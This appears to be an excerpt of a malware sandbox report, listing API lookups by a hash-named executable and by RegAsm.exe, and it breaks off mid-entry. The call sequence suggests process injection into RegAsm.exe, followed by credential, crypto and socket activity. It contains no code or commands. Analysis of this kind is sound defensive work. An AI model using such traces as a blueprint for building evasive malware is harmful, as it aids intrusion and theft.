"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter MessageBoxW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter 5030 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CLRCreateInstance (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SysAllocStringByteLen (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ND_RI4 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ND_RI4_RetAddr (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005956) "RegAsm.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeleteEntryW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDialW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasEnumEntriesW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetAutodialEnableW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetAutodialParamW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetConnectStatusW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetCredentialsW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetEntryDialParamsW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetErrorStringW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetHport (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetProjectionInfoW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetSubEntryHandleW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasHangUpW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetAutodialEnableW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetAutodialParamW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetCredentialsW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetOldPassword (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetCountryInfoW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasInvokeEapUI (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetEapUserDataW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetEntryPropertiesW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasValidateEntryNameW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasWriteSharedPbkOptions (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetAutodialAddressW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter DwEnumEntryDetails (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter TraceRegisterExA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter TracePrintfExA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortClearStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasBundleClearStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasBundleClearStatisticsEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeviceEnum (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeviceGetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasFreeBuffer (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetBuffer (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDialMachineEventContext (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetDialMachineEventHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetNdiswanDriverCaps (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasInitialize (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasInitializeNoWait (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortCancelReceive (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortEnum (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortGetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortGetFramingEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortGetStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasBundleGetStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortGetStatisticsEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasBundleGetStatisticsEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortReceive (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortReceiveEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortSend (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortGetBundle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDevConfig (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDevConfigEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetDevConfig (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortClose (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortListen (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortConnectComplete (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortDisconnect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRequestNotification (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortEnumProtocols (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortSetFraming (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortSetFramingEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetCachedCredentials (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDialParams (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetDialParams (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasCreateConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDestroyConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasConnectionEnum (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasAddConnectionPort (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasEnumConnectionPorts (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetConnectionParams (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetConnectionParams (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetConnectionUserData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetConnectionUserData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetPortUserData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetPortUserData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasAddNotification (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSignalNewConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasApplyPostConnectActions (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolStop (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolCallback (UID: 